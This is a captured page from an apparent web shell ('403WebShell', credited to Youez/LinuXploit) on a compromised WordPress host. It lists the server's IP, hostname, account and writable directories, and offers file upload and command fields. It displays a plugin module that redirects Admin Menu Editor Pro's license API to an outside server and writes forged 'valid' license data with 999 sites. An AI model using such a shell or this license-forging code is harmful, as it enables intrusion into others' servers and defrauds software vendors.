$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//admin-menu-editor-pro.php
<?php
/**
 * Admin Menu Editor Pro module.
 *
 * Redirects Admin Menu Editor Pro license API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Admin Menu Editor Pro license and update module.
 */
class Admin_Menu_Editor_Pro extends AbstractModule {

	/**
	 * License option name.
	 *
	 * @var string
	 */
	private string $option_name = 'wsh_license_manager-admin-menu-editor-pro';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'admin-menu-editor-pro';
		$this->name        = 'Admin Menu Editor Pro';
		$this->description = 'Manages Admin Menu Editor Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'admin-menu-editor-pro',
			'plugin_file' => 'menu-editor.php',
		);
		$this->target_id   = '1570794257';

		$this->blocked_domains = array(
			'adminmenueditor.com/licensing_api/'     => self::generic_block(),
			'adminmenueditor.com/?get_metadata_for=' => self::generic_block(),
		);
	}

	/**
	 * Initialize module — redirect API calls, set license data.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://adminmenueditor.com', HELLOPACK_GLS3_URL . '/admin-menu-editor-pro' );

		$this->set_license_data();
	}

	/**
	 * Set license data in site options.
	 */
	private function set_license_data(): void {
		$token           = Options::get( 'token' );
		$current_options = get_site_option( $this->option_name, array() );

		if (
			! empty( $current_options['license_key'] ) &&
			$token === $current_options['license_key'] &&
			! empty( $current_options['license'] ) &&
			isset( $current_options['license']['status'] ) &&
			'valid' === $current_options['license']['status']
		) {
			return;
		}

		$site_url   = is_multisite() ? network_site_url() : site_url();
		$site_url   = str_replace( 'https://', 'http://', $site_url );
		$site_token = md5( $site_url . $token . 'hellopack' );

		$options = array(
			'license_key' => $token,
			'site_token'  => $site_token,
			'license'     => array(
				'status'      => 'valid',
				'site_url'    => $site_url,
				'license_key' => $token,
				'max_sites'   => 999,
				'addons'      => array(),
			),
		);

		update_site_option( $this->option_name, $options );
	}

	/**
	 * Cleanup on disable — reset license.
	 */
	public function cleanup(): void {
		$current_options = get_site_option( $this->option_name, array() );

		if ( ! empty( $current_options ) && is_array( $current_options ) ) {
			if ( isset( $current_options['license'] ) ) {
				$current_options['license']['status'] = 'no_license_yet';
			}
			$current_options['license_key'] = null;
			$current_options['site_token']  = null;

			update_site_option( $this->option_name, $current_options );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit